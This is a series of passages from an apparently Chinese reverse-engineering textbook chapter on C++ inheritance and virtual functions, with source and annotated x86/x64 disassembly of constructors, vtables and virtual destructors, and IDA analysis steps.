    {"text": "//C++源码 class Member{ public: Member() { member = 0; } int member; }; class Derive : public Base { public: Derive():derive(1) { printf(\"使用初始化列表\\n\"); } public: Member member; //类中定义其他对象作为成员 int derive; }; int main(int argc, char* argv[]) { Derive derive; return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 10h 00401006 lea ecx, [ebp-10h] ;传递this指针 00401009 call sub_401050 ;调用Derive的构造函数 0040100E mov dword ptr [ebp-4], 0 00401015 lea ecx, [ebp-10h] ;传递this指针 00401018 call sub_4010D0 ;调用Derive的析构函数 0040101D mov eax, [ebp-4] 00401020 mov esp, ebp 00401022 pop ebp 00401023 retn 00401050 push ebp ; Derive构造函数 00401051 mov ebp, esp 00401053 push ecx 00401054 mov [ebp-4], ecx ;[ebp-4]保存了this指针 00401057 mov ecx, [ebp-4] ;传递this指针 0040105A call sub_401030 ;调用父类构造函数 0040105F mov ecx, [ebp-4] 00401062 add ecx, 4 ;根据this指针调整到类中定义的对象member的首地址处 00401065 call sub_401090 ;调用Member构造函数 0040106A mov eax, [ebp-4] 0040106D mov dword ptr [eax+8], 1 ;执行初始化列表this指针传递给eax后[eax+8]是 ;对成员数据derive进行寻址 00401074 push offset unk_412170 ;最后才是执行Derive的构造代码 00401079 call sub_401130 ;调用printf函数 0040107E add esp, 4 00401081 mov eax, [ebp-4] 00401084 mov esp, ebp 00401086 pop ebp 00401087 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 48h 000000014000100D lea rcx, [rsp+28h] ;传递this指针 0000000140001012 call sub_140001060 ;调用Derive的构造函数 0000000140001017 mov dword ptr [rsp+20h], 0 000000014000101F lea rcx, [rsp+28h] ;传递this指针 0000000140001024 call sub_1400010F0 ;调用Derive的析构函数 0000000140001029 mov eax, [rsp+20h] 000000014000102D add rsp, 48h 0000000140001031 retn 0000000140001060 mov [rsp+8], rcx ;Derive构造函数 0000000140001065 sub rsp, 28h 0000000140001069 mov rcx, [rsp+30h] ;传递this指针 000000014000106E call sub_140001040 ;并调用父类构造函数 0000000140001073 mov rax, [rsp+30h] 0000000140001078 add rax, 4 000000014000107C mov rcx, rax ;根据this指针调整到类中定义的对象member的首地址处 000000014000107F call sub_1400010B0 ;调用Member构造函数 0000000140001084 mov rax, [rsp+30h] 0000000140001089 mov dword ptr [rax+8], 1 ;执行初始化列表this指针传递给rax后 ;rax+8为成员地址 0000000140001090 lea rcx, unk_1400122D0 ;最后才是执行Derive的构造函数代码 0000000140001097 call sub_140001170 ;调用printf函数 000000014000109C mov rax, [rsp+30h] 00000001400010A1 add rsp, 28h 00000001400010A5 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 根据以上分析在有初始化列表的情况下会优先执行初始化列表中的操作其次才是自身的构造函数。"},
    {"text": "回到代码清单12-2的分析中在子类对象Derive的内存布局中首地址处的第一个数据是父类数据成员base向后的4字节数据为自身数据成员derive如表12-1所示。 表12-1 Derive对象内存结构 有了这样的内存结构不但可以使用指向子类对象的子类指针间接寻址到父类定义的成员还可以使用指向子类对象的父类指针间接寻址到父类定义的成员。 在使用父类成员函数时传递的this指针也可以是子类对象的首地址。 因此在父类中可以根据以上内存结构将子类对象的首地址视为父类对象的首地址实现对数据的操作而且不会出错。 因为父类对象的长度不超过子类对象而子类对象只要派生新的数据其长度即可超过父类所以子类指针的寻址范围不小于父类指针。 在使用子类指针访问父类对象时如果访问的成员数据是父类对象定义的则不会出错如果访问的是子类派生的成员数据则会造成访问越界。"},
    {"text": "代码清单12-3 子类调用父类函数Debug版 //C++源码对照代码清单12-1 void showNumber(int n) { setNumber (n); derive = n + 1; printf(\"%d\\n\", getNumber()); printf(\"%d\\n\", derive); } //x86_vs对应汇编代码讲解 004010E0 push ebp ;showNumber函数 004010E1 mov ebp, esp 004010E3 push ecx 004010E4 mov [ebp-4], ecx ;[ebp-4]中保留了this指针 004010E7 mov eax, [ebp+8] 004010EA push eax ;参数2n 004010EB mov ecx, [ebp-4] ;参数1因为this指针同时也是对象中父类部分的 ;首地址所以在调用父类成员函数时this指针的 ;值和子类对象等同 004010EE call sub_4010C0 ;调用基类成员函数setNumber 004010F3 mov ecx, [ebp+8] 004010F6 add ecx, 1 ;将参数n值加1 004010F9 mov edx, [ebp-4] ;edx拿到this指针 004010FC mov [edx+4], ecx ;参考内存结构edx+4是子类成员derive的地 ;址derive=n+1 004010FF mov ecx, [ebp-4] ;传递this指针 00401102 call sub_4010B0 ;调用基类成员函数getNumber 00401107 push eax ;参数2Base.base 00401108 push offset aD ;参数1\"%d\\n\" 0040110D call sub_401170 ;调用printf函数 00401112 add esp, 8 00401115 mov eax, [ebp-4] 00401118 mov ecx, [eax+4] 0040111B push ecx ;参数2derive 0040111C push offset aD ;参数1\"%d\\n\" 00401121 call sub_401170 ;调用printf函数 00401126 add esp, 8 00401129 mov esp, ebp 0040112B pop ebp 0040112C retn 4 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 00000001400010F0 mov [rsp+10h], edx ;showNumber函数 00000001400010F4 mov [rsp+8], rcx 00000001400010F9 sub rsp, 28h 00000001400010FD mov edx, [rsp+38h] ;参数2n 0000000140001101 mov rcx, [rsp+30h] ;参数1由于this指针同时也是对象中父类部分的 ;首地址所以在调用父类成员函数时this指针 ;的值等同于子类对象 0000000140001106 call sub_1400010D0 ;调用基类成员函数setNumber 000000014000110B mov eax, [rsp+38h] 000000014000110F inc eax ;将参数n值加1 0000000140001111 mov rcx, [rsp+30h] 0000000140001116 mov [rcx+4], eax ;derive=n+1 0000000140001119 mov rcx, [rsp+30h] ;传递this指针 000000014000111E call sub_1400010C0 ;调用基类成员函数getNumber 0000000140001123 mov edx, eax ;参数2Base.base 0000000140001125 lea rcx, aD ;参数1\"%d\\n\" 000000014000112C call sub_1400011B0 ;调用printf函数 0000000140001131 mov rax, [rsp+30h] 0000000140001136 mov edx, [rax+4] ;参数2derive 0000000140001139 lea rcx, aD ;参数1\"%d\\n\" 0000000140001140 call sub_1400011B0 ;调用printf函数 0000000140001145 add rsp, 28h 0000000140001149 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 父类中成员函数setNumber在子类中并没有被定义但根据派生关系在子类中可以使用父类的公有函数。"},
    {"text": "编译器是如何实现正确匹配的呢 如果使用对象或对象的指针调用成员函数编译器可根据对象所属作用域通过“名称粉碎法” [1] 实现正确匹配。"},
    {"text": "图12-1 子类对象Derive的内存布局 这时首地址处为父类数据成员而父类中的成员函数setNumber在寻址此数据成员时会将首地址的4字节数据作为数据成员base。"},
    {"text": "由此可见父类数据成员被排列在最前端是为了在添加派生类后方便子类使用父类中的成员数据并且可以将子类指针当作父类指针使用。 按照继承顺序依次排列各个数据成员这样一来不管是操作子类对象还是父类对象只要确认了对象的首地址对父类成员数据的偏移量而言都是一样的。 对子类对象而言使用父类指针或者子类指针都可以正确访问其父类数据。 反之如果使用一个父类对象的指针去访问子类对象则存在越界访问的危险如代码清单12-4所示。"},
    {"text": "代码清单12-4 父类对象的指针访问子类对象存在的危险Debug版 // C++ 源码说明类型定义见代码清单12-1 int main(int argc, char* argv[]) { int n = 0x12345678; Base base; Derive *derive = (Derive*)&base; printf(\"%x\\n\", derive->derive); return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 10h 00401006 mov dword ptr [ebp-10h], 12345678h ;局部变量赋初值 0040100D lea ecx, [ebp-4] ;传递this指针 00401010 call sub_401050 ;调用构造函数 00401015 lea eax, [ebp-4] 00401018 mov [ebp-8], eax ;指针变量[ebp-8]得到base的地址 0040101B mov ecx, [ebp-8] 0040101E mov edx, [ecx+4] ;注意ecx中保留了base的地址而[ecx+4] ;的访问超出了base的内存范围 00401021 push edx 00401022 push offset unk_412160 00401027 call sub_4010D0 ;调用printf函数 0040102C add esp, 8 0040102F mov dword ptr [ebp-0Ch], 0 00401036 lea ecx, [ebp-4] ;传递this指针 00401039 call sub_401070 ;调用析构函数 0040103E mov eax, [ebp-0Ch] 00401041 mov esp, ebp 00401043 pop ebp 00401044 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 48h 000000014000100D mov dword ptr [rsp+28h], 12345678h ;局部变量赋初值 0000000140001015 lea rcx, [rsp+20h] ;传递this指针 000000014000101A call sub_140001060 ;调用构造函数 000000014000101F lea rax, [rsp+20h] 0000000140001024 mov [rsp+30h], rax ;指针变量[rsp+30h]得到base的地址 0000000140001029 mov rax, [rsp+30h] 000000014000102E mov edx, [rax+4] ;注意rax中保留了base的地址而 ;[rax+4]的访问超出了base的存储范围 0000000140001031 lea rcx, unk_1400122C0 0000000140001038 call sub_140001100 ;调用printf函数 000000014000103D mov dword ptr [rsp+24h], 0 0000000140001045 lea rcx, [rsp+20h] ;传递this指针 000000014000104A call sub_140001080 ;调用析构函数 000000014000104F mov eax, [rsp+24h] 0000000140001053 add rsp, 48h 0000000140001057 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 学习虚函数时我们分析了类中的隐藏数据成员——虚表指针。"},
    {"text": "这些人有一个共同的功能——说话但是他们实现这个功能的过程不同例如中国人说汉语、美国人说英语、德国人说德语。 每个国家的人都有不同的说话方法为了让“说话”这个方法有一个通用接口可以设立一个“人”类将其抽象化。"},
    {"text": "代码清单12-5 人类说话方法的多态模拟类结构C++源码 #include <stdio.h> class Person{ // 基类——“人”类 public: Person() {} virtual ~Person() {} virtual void showSpeak() {} // 这里用纯虚函数更好相关的知识点后面会讲到 }; class Chinese : public Person { // 中国人继承自人类 public: Chinese() {} virtual ~Chinese() {} virtual void showSpeak() { // 覆盖基类虚函数 printf(\"Speak Chinese\\r\\n\"); } }; class American : public Person { //美国人继承自人类 public: American() {} virtual ~American() {} virtual void showSpeak() { //覆盖基类虚函数 printf(\"Speak American\\r\\n\"); } }; class German : public Person { //德国人继承自人类 public: German() {} virtual ~German() {} virtual void showSpeak() { //覆盖基类虚函数 printf(\"Speak German\\r\\n\"); } }; void speak(Person* person){ //根据虚表信息获取虚函数首地址并调用 person->showSpeak(); } int main(int argc, char* argv[]) { Chinese chinese; American american; German german; speak(&chinese); speak(&american); speak(&german); return 0; } 在代码清单12-5中利用父类指针可以指向子类的特性可以间接调用各子类中的虚函数。"},
    {"text": "虽然指针类型为父类但是因为虚表的排列顺序是按虚函数在类继承层次中首次声明的顺序排列的所以只要继承了父类其派生类的虚表中父类部分的排列就与父类一致子类新定义的虚函数会按照声明顺序紧跟其后。"},
    {"text": "代码清单12-6 虚函数调用过程Debug版 // main函数分析略 // speak函数讲解 //x86_vs对应汇编代码讲解 00401000 push ebp ;speak函数 00401001 mov ebp, esp 00401003 mov eax, [ebp+8] ;eax获取参数person的值 00401006 mov edx, [eax] ;取虚表首地址并传递给edx 00401008 mov ecx, [ebp+8] ;传递this指针 0040100B mov eax, [edx+4] 0040100E call eax ;利用虚表指针edx间接调用函数回顾父类Person的类型 ;声明第一个声明的虚函数是析构函数第二个声明的是 ;showSpeak所以showSpeak在虚函数表中的位置排第二 ;[edx+4]即showSpeak的函数地址 00401010 pop ebp 00401011 retn //x86_gcc对应汇编代码讲解 00401510 push ebp ;speak函数 00401511 mov ebp, esp 00401513 sub esp, 8 00401516 mov eax, [ebp+8] ;eax获取参数person的值 00401519 mov eax, [eax] ;取虚表首地址并传递给eax 0040151B add eax, 8 0040151E mov eax, [eax] 00401520 mov ecx, [ebp+8] ;传递this指针 00401523 call eax ;利用虚表指针eax间接调用函数在GCC编译器中虚析构函 ;数会生成两个虚函数表项(后续例子详细分析)所以showSpeak ;在虚函数表中的位置排第三[eax+8]即showSpeak的函数地址 00401525 nop 00401526 leave 00401527 retn //x86_clang对应汇编与VS相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+8], rcx ;speak函数 0000000140001005 sub rsp, 28h 0000000140001009 mov rax, [rsp+30h] ;rax获取参数person的值 000000014000100E mov rax, [rax] ;取虚表首地址并传递给rax 0000000140001011 mov rcx, [rsp+30h] ;传递this指针 0000000140001016 call qword ptr [rax+8] ;利用虚表指针间接调用函数64位程序虚表 ;每项大小为8字节因此第二项rax+8 0000000140001019 add rsp, 28h 000000014000101D retn //x64_gcc对应汇编代码讲解 0000000000401550 push rbp ;speak函数 0000000000401551 mov rbp, rsp 0000000000401554 sub rsp, 20h 0000000000401558 mov [rbp+10h], rcx 000000000040155C mov rax, [rbp+10h] ;rax获取参数person的值 0000000000401560 mov rax, [rax] ;取虚表首地址并传递给rax 0000000000401563 add rax, 10h 0000000000401567 mov rax, [rax] 000000000040156A mov rcx, [rbp+10h] ;传递this指针 000000000040156E call rax ;利用虚表指针间接调用函数64位程序虚表 ;每项大小8个字节因此第三项rax+16 0000000000401570 nop 0000000000401571 add rsp, 20h 0000000000401575 pop rbp 0000000000401576 retn //x64_clang对应汇编代码与VS相似略 在代码清单12-6中虚函数的调用过程使用了间接寻址方式而非直接调用函数地址。"},
    {"text": "对比代码清单11-3中的虚函数调用可以发现当没有使用对象指针或者对象引用时调用虚函数指令的寻址方式为直接调用从而无法构成多态。 因为代码清单12-6中使用了对象指针调用虚函数所以会产生间接调用方式进而构成多态。"},
    {"text": "24: setNumber(n); 010F2C3D mov eax,dword ptr [ebp+8] 010F2C40 push eax 010F2C41 mov ecx,dword ptr [ebp-8] 010F2C44 call 010F13BB ;这里直接调用无法构成多态 当父类中定义有虚函数时将会产生虚表。"},
    {"text": "当父类的子类产生对象时根据代码清单12-2的分析会在调用子类构造函数前优先调用父类构造函数并以子类对象的首地址作为this指针传递给父类构造函数。 在父类构造函数中会先初始化子类虚表指针为父类的虚表首地址。 此时如果在父类构造函数中调用虚函数虽然虚表指针属于子类对象但指向的地址却是父类的虚表首地址这时可判断出虚表所属作用域与当前作用域相同于是会转换成直接调用方式最终造成构造函数内的虚函数失效。"},
    {"text": "修改代码清单12-5在Person类的构造函数中添加虚函数调用如下所示。 class Person { public: Person() { showSpeak(); //调用虚函数不多态 } virtual ~Person() { } virtual void showSpeak() { printf(\"Speak No\\n\"); } }; 以上代码执行过程如图12-2所示。"},
    {"text": "按C++规定的构造顺序父类构造函数会在子类构造函数之前运行在执行父类构造函数时将虚表指针修改为当前类的虚表指针也就是父类的虚表指针因此导致虚函数的特性失效。 如果父类构造函数内部存在虚函数调用这样的顺序能防止在子类中构造父类时父类根据虚表错误地调用子类的成员函数。 虽然在构造函数和析构函数中调用虚函数会使其多态性失效但是为什么还要修改虚表指针呢编译器直接把构造函数或析构函数中的虚函数调用修改为直接调用方式不就可以避免这类问题了吗大家不要忘了程序员仍然可以自己编写其他成员函数间接调用本类中声明的其他虚函数。"},
    {"text": "根据前面的讲解我们可以知道在子类B的构造函数执行前会调用父类A的构造函数此时如果在类A的构造函数中调用f1()显然不会构成多态编译器会产生直接调用f1()的代码。 但是如果在f1()中又调用了f2()就会产生间接调用的指令形成多态。"},
    {"text": "如果类B对象的虚表指针没有更换为类A的虚表指针会导致在访问类B的虚表后调用到类B中的f2()函数而此时类B的对象尚未构造完成其数据成员是不确定的这时在f2()中引用类B的对象中的数据成员是很危险的。"},
    {"text": "但是如果f1()中又调用了f2()此时会构成多态如果这个对象的虚表指针没有更换为类A的虚表指针同样也会导致访问虚表并调用类B中的f2()。"},
    {"text": "按C++中定义的析构顺序首先调用自身的析构函数然后调用成员对象的析构函数最后调用父类的析构函数。 在对象析构时首先设置虚表指针为自身虚表再调用自身的析构函数。 如果有成员对象则按声明的顺序以倒序方式依次调用成员对象的析构函数。 最后调用父类析构函数。 在调用父类的析构函数时会设置虚表指针为父类自身的虚表。"},
    {"text": "为什么要将析构函数定义为虚函数呢因为可以使用父类指针保存子类对象的首地址所以当使用父类指针指向子类堆对象时就会出问题。 当使用delete函数释放对象的空间时如果析构函数没有被定义为虚函数那么编译器会按指针的类型调用父类的析构函数从而引发错误。 而使用了虚析构函数后会访问虚表并调用对象的析构函数。"},
    {"text": "//没有声明为虚析构函数 Person * p = new Chinese; delete p; //部分代码分析略 00D85714 mov ecx,dword ptr [ebp+FFFFFF08h] ;直接调用父类的析构函数 00D8571A call 00D81456 // 声明为虚析构函数 Person * p = new Chinese; delete p; //部分代码分析略 000B5716 mov ecx,dword ptr [ebp+FFFFFF08h] ;获取p并保存至ecx 000B571C mov edx,dword ptr [ecx] ;取得虚表指针 000B571E mov ecx,dword ptr [ebp+FFFFFF08h] ;传递this指针 000B5724 mov eax,dword ptr [edx] ;间接调用虚析构函数 000B5726 call eax 以上代码对普通析构函数与虚析构函数进行了对比说明了类在有了派生与继承关系后需要声明虚析构函数的原因。 对于没有派生和继承关系的类结构是否将析构函数声明为虚析构函数并不会影响调用的过程但是在编写析构函数时应养成习惯无论当前是否有派生或继承关系都应将析构函数声明为虚析构函数以防止将来更新和维护代码时发生析构函数的错误调用。 了解了派生和继承的执行流程与实现原理后又该如何利用这些知识识别代码中类与类之间的关系呢最好的办法还是先定位构造函数有了构造函数就可根据构造的先后顺序得到与之有关的其他类。 在构造函数中只构造自己的类很明显是基类对于构造函数中存在调用父类构造函数的情况可利用虚表在IDA中使用引用参考的功能便可得到所有的构造函数和析构函数进而得到它们之间的派生和继承关系。"},
    {"text": "// 综合讲解建议读者先用VC++ 分析一下Debug 选项组编译的过程然后再看以下内容 #include <stdio.h> class Person{ //基类人类 public: Person() { showSpeak(); //注意构造函数调用了虚函数 } virtual ~Person(){ showSpeak(); //注意析构函数调用了虚函数 } virtual void showSpeak(){ //在这个函数里调用了其他的虚函数getClassName(); printf(\"%s::showSpeak()\\n\", getClassName()); return; } virtual const char* getClassName() { return \"Person\"; } }; class Chinese : public Person { //中国人继承自\"人\"类 public: Chinese() { showSpeak(); } virtual ~Chinese() { showSpeak(); } virtual const char* getClassName() { return \"Chinese\"; } }; int main(int argc, char* argv[]) { Person *p = new Chinese; p->showSpeak(); delete p; return 0; } //x86_vs对应汇编代码 ;在IDA中打开执行文件载入sig定位到main()函数并修改函数名称为main得到如下代码 004010E0 ; int __cdecl main(int argc, const char **argv, const char **envp) 004010E0 main proc near ; CODE XREF: start-8D↓p 004010E0 push esi 004010E1 push 4 004010E3 call ??2@YAPAXI@Z ;operator new(uint)申请4字节堆空间 004010E8 mov esi, eax ;esi保存new调用的返回值 004010EA add esp, 4 ;平衡new调用的参数 004010ED test esi, esi ;编译器插入了检查new返回值的代码若返回值为0则跳过 ;构造函数的调用 ;点击下面这个跳转指令的标号loc_40113A目标处会高亮结合目标处的上面一条指令地址004010F0处 ; 可以看出这是一个分支结构跳转的目标是new调用返回0时的处理esi置为0读者可以按照命名规范重新 ; 定义这些标号IDA中重命名的快捷键是N选中标号以后按N键即可 004010EF jz short loc_40113A ;如果new返回值不为0则ecx保存堆地址结合004010F9地址处的call指令可怀疑是thiscall的调用方式 ;需要到004010F9中看看有没有访问ecx才能进一步确定 004010F1 mov ecx, esi ;这个地方很关键我们去看看??_7Person@@6B@里面的内容 004010F3 mov dword ptr [esi], offset ??_7Person@@6B@ ; const Person::`vftable' 004010F9 call sub_4010A0 ??_7Person@@6B@中的内容为 .rdata:00412164 ??_7Person@@6B@ dd offset sub_401050;DATA XREF: sub_401000+1C↑o .rdata:00412164 ;sub_401050+3↑o ... .rdata:00412168 dd offset sub_4010B0 .rdata:0041216C dd offset sub_4010A0 //x86_gcc对应汇编代码同理略 //x86_clang对应汇编代码同理略 //x64_vs对应汇编代码同理略 //x64_gcc对应汇编代码同理略 //x64_clang对应汇编代码同理略 IDA以注释的形式给出了反汇编代码中所有引用了标号??_7Person@@6B@的指令地址供我们分析时参考。"},
    {"text": "如“DATA XREF: sub_401000+1C↑”表示sub_401000函数的首地址偏移1Ch字节处的指令引用了标号??_7Person@@6B@最后的上箭头“↑”表示引用处的地址在当前标号的上面也就是说引用处的地址值比这个标号的地址值小。 接着观察sub_401000和sub_401050中的内容双击后可以看到这两个名称都是函数名称可证实??_7Person@@6B@是函数指针数组的首地址而且其中每个函数都有对ecx的引用。"},
    {"text": "结合004010F3处的指令“mov dword ptr [esi], offset ??_7Person@@6B@”其中esi保存的是new调用申请的堆空间首地址这条指令在首地址处放置了函数指针数组的地址。"},
    {"text": "接着按N键重命名??_7Person@@6B@这里先命名为Person_vtable在接下来的分析中如果找到更详细的信息还可以继续修改这个名称使代码的可读性更强。"},
    {"text": "004010F3 mov dword ptr [esi], offset Person_vtable 既然是对虚表指针进行初始化就要满足构造函数的充分条件但是我们看到这里并没有调用构造函数而是直接在main()函数中完成了虚表指针的初始化这说明构造函数被编译器内联优化了。"},
    {"text": "call sub_4010A0 先看看这个函数的功能。 双击地址sub_4010A0定位到sub_4010A0的代码实现处此处内容如下所示。 004010A0 sub_4010A0 proc near ; CODE XREF: sub_401000+24↑p 004010A0 ; sub_401050+9↑p ... 004010A0 mov eax, offset aPerson ; \"Person\"; 功能很简单返回名称字符串 004010A5 retn 004010A5 sub_4010A0 endp 顺手修改sub_4010A0的名称这里先修改为Person_getClassName以后有更多信息时再进一步修改接着分析其后的代码。 004010FE push eax 004010FF push offset aSShowspeak ;\"%s::showSpeak()\\n\" 00401104 call sub_401150 00401109 add esp, 8 ;调用printf并平衡参数 0040110C mov dword ptr [esi], offset ??_7Chinese@@6B@ ;const ;Chinese::`vftable' 00401112 mov ecx, esi 00401114 call sub_401090 双击sub_401090其功能如下所示。 00401090 sub_401090 proc near ; CODE XREF: sub_401000+9↑p 00401090 ; main+34↓p 00401090 ; DATA XREF: ... 00401090 mov eax, offset aChinese ; \"Chinese\" ;功能很简单返回名称字符串 00401095 retn 00401095 sub_401090 endp 修改函数名称为Chinese_getClassName。"},
    {"text": "00401119 push eax 0040111A push offset aSShowspeak ; \"%s::showSpeak()\\n\" 0040111F call sub_401150 00401124 mov eax, [esi] 00401126 add esp, 8 ; 调用printf并平衡参数 至此我们分析了new调用后的整个分支结构。"},
    {"text": "当new调用成功时会执行对象的构造函数而编译器对这里的构造函数进行了内联优化但这不会影响我们对构造函数的鉴定。 首先存在写入虚表指针的充分条件同时也满足了前面章节讨论的必要条件还要出现在new调用的正确分支中因此我们可以把new调用的正确分支中的代码判定为构造函数的内联方式。 在new调用的正确分支内esi指向的对象有两次写入虚表指针的代码如下所示。"},
    {"text": "004010F3 mov dword ptr [esi], offset Person_vtable ; 中间代码略 0040110C mov dword ptr [esi], offset Chinese_vtable 我们可以借此得到派生关系在构造函数中先填写父类的虚表然后按继承的层次关系逐层填写子类的虚表由此可以判定Person_vtable是父类的虚表Chinese_vtable是子类的虚表。 以写入虚表的指令为界限可以粗略划分出父类构造函数和子类构造函数的实现代码但是细节上要按照程序逻辑找到界限之内其他函数传递参数的几行代码并排除在外如下所示。 ; 先定位到new调用的正确分支处 004010E0 push esi 004010E1 push 4 004010E3 call ??2@YAPAXI@Z ;调用new 004010E8 mov esi, eax 004010EA add esp, 4 004010ED test esi, esi ;判定new调用后的返回值 004010EF jz short loc_40113A ;返回值为0则跳转到错误逻辑处 ; 从这里开始就是正确的逻辑同时也是父类构造函数的起始代码处 004010F1 mov ecx, esi 004010F3 mov dword ptr [esi], offset Person_vtable 004010F9 call Person_getClassName 004010FE push eax 004010FF push offset aSShowspeak ; \"%s::showSpeak()\\n\" 00401104 call printf 00401109 add esp, 8 0040110C mov dword ptr [esi], offset Chinese_vtable ; 注意这里的传参this指针从这里开始就不是父类的构造函数实现代码了 00401112 mov ecx, esi 00401114 call Chinese_getClassName 00401119 push eax 0040111A push offset aSShowspeak ; \"%s::showSpeak()\\n\" 0040111F call printf 00401124 mov eax, [esi] 00401126 add esp, 8 00401129 mov ecx, esi ;子类构造函数的结束处 继续看后面的代码。 00401124 mov eax, [esi] ;取得虚表指针 00401129 mov ecx, esi ;传递this指针 0040112B call dword ptr [eax+4] ;调用虚表第二项的函数 分析这里的虚函数调用先看看最后一次写入虚表的地址单击esi观察高亮处寻找最后一次写入的指令如图12-3所示。 细心的读者一定找到了没错正是0040110C地址处指令“call dword ptr [eax+4]”揭示了虚表中至少有两个元素。"},
    {"text": ".rdata:00412190 Chinese_vtable dd offset sub_401000 ;虚表偏移0处也就是虚表的第一项 .rdata:00412194 dd offset sub_4010B0 ;虚表偏移4处也就是虚表的第二项 .rdata:00412198 dd offset Chinese_getClassName;现在不能确定这一项是 ;否为虚表的内容 双击sub_4010B0得到以下代码。 ; 未赋值就直接使用ecx说明ecx是在传递参数 004010B0 mov eax, [ecx] ;eax得到虚表 004010B2 call dword ptr [eax+8] ;调用虚表第三项形成了多态 图12-3 寻找最后一次写入虚表的指令 指令“call dword ptr [eax+8]”揭示了虚表中至少有3个元素根据Chinese_vtable得出第三项为Chinese_getClassName函数。"},
    {"text": "004010B5 push eax ;向printf传入Chinese_getClassName的返回值是一个字符串首地址 004010B6 push offset aSShowspeak ;\"%s::showSpeak()\\n\" 004010BB call printf 004010C0 add esp, 8 ;调用printf 显示字符串并平衡参数 004010C3 retn 这个函数的作用是调用虚表第三项元素得到字符串并将字符串格式化输出。"},
    {"text": ".rdata:00412190 Chinese_vtable dd offset sub_401000; DATA XREF: sub_401000+3↑o .rdata:00412190 ; main+2C↑o .rdata:00412194 dd offset showSpeak .rdata:00412198 dd offset Chinese_getClassName 我们回到main()函数处继续分析。"},
    {"text": "0040112E mov eax, [esi] ;eax得到虚表 00401130 mov ecx, esi ;传递this指针 00401132 push 1 ;传入参数 00401134 call dword ptr [eax] ;调用虚表中的第一项 00401136 xor eax, eax 00401138 pop esi 00401139 retn ;函数返回所以这里是个单分支结构 call dword ptr [edx]命令调用虚表的第一项。"},
    {"text": "在详细分析虚表第一项之前我们体验一下IDA的交叉参考功能一次性定位所有的构造函数和析构函数先定位到虚表Chinese_vtable处然后单击鼠标右键如图12-4所示。"},
    {"text": "图12-5 IDA自动生成的交叉参考图示 可以看到除了main()函数访问了虚表Chinese_vtable之外sub_401000也访问了虚表Chinese_vtable。 通过前面的分析可知因为main()函数中内联的构造函数存在写入虚表的操作所以导致Chinese_vtable被访问到。 因为存在虚表就算类中没有定义析构函数编译器也会产生默认的析构函数所以毫无疑问另一个访问虚表的函数sub_401000就是析构函数。"},
    {"text": "因为子类的构造函数必然会先调用父类的构造函数所以我们利用交叉参考功能即可查询出所有引用这个父类构造函数的指令的位置当然也包括这个父类的所有直接子类构造函数的位置借此即可判定父类派生的所有直接子类如图12-6所示。"},
    {"text": "00401000 push esi 00401001 mov esi, ecx ; 在虚表指针处写入子类虚表地址 00401003 mov dword ptr [esi], offset Chinese_vtable 00401009 call Chinese_getClassName 0040100E push eax ;获取字符串并给printf传递参数 0040100F push offset aSShowspeak ;\"%s::showSpeak()\\n\" 00401014 call printf 00401019 add esp, 8 ;执行printf并平衡参数 ;在虚表指针处写入父类虚表地址 0040101C mov dword ptr [esi], offset Person_vtable 00401022 mov ecx, esi ;传递this指针 00401024 call Person_getClassName 00401029 push eax ;获取字符串并给printf传递参数 0040102A push offset aSShowspeak ;\"%s::showSpeak()\\n\" 0040102F call printf 00401034 add esp, 8 ;执行printf并平衡参数 00401037 test [esp+4+arg_0], 1 ;检查delete标志 0040103C jz short loc_401049 ;如果参数为1则以对象首地址为目标释放内存 ;否则本函数仅执行对象的析构函数 0040103E push 4 00401040 push esi 00401041 call ??2@YAPAXIHPBDH@Z 00401046 add esp, 8 ;调用delete并平衡参数 00401049 mov eax, esi 0040104B pop esi 0040104C retn 4 以上代码存在虚表的写入操作其写入顺序和前面分析的构造函数相反先写入子类自身的虚表然后写入父类的虚表因此满足了析构函数的充分条件。"},
    {"text": ".rdata:00412190 Chinese_vtable dd offset Destructor_401000 .rdata:00412194 dd offset showSpeak .rdata:00412198 dd offset Chinese_getClassName _Destructor_401000函数是虚表的第一项我们可以回到main()函数中观察其参数传递的过程。"},
    {"text": "00401129 mov ecx, esi 0040112B call dword ptr [eax+4] 0040112E mov eax, [esi] ;eax获得虚表 00401130 mov ecx, esi ;传递this指针 00401132 push 1 ;传递参数值1 00401134 call dword ptr [eax] ;调用Destructor_401000 在main()函数中调用虚表第一项时传递的值为1那么在Destructor_401000函数中执行完析构函数就会调用delete释放对象的内存空间。"},
    {"text": "为什么要用这样一个参数控制函数内释放空间的行为呢为什么不能直接释放呢 这是因为析构函数和释放堆空间是两回事有的程序员喜欢自己维护析构函数或者反复使用同一个堆对象此时显式调用析构函数的同时不能释放堆空间如下代码所示。"},
    {"text": "#include <stdio.h> #include <new.h> class Person{ // 基类——“人”类 public: Person() {} virtual ~Person() {} virtual void showSpeak() {} // 纯虚函数后面会讲解 }; class Chinese : public Person { // 中国人继承自人类 public: Chinese() {} virtual ~Chinese() {} virtual void showSpeak() { // 覆盖基类虚函数 printf(\"Speak Chinese\\r\\n\"); } }; int main(int argc, char* argv[]) { Person *p = new Chinese; p->showSpeak(); p->~Person(); //显式调用析构函数 //将堆内存中p指向的地址作为Chinese的新对象的首地址调用Chinese的构造函数 //这样可以重复使用同一个堆内存以节约内存空间 p = new (p) Chinese(); delete p; return 0; } 因为显式调用析构函数时不能马上释放堆内存所以在析构函数的代理函数中通过一个参数控制是否释放内存便于程序员管理析构函数的调用。"},
    {"text": "需要注意的是对于GCC编译器并不是采用此种设计而是将析构函数和析构代理函数全部放入虚表来解决问题因此GCC虚表项会比VS、Clang多一项。"},
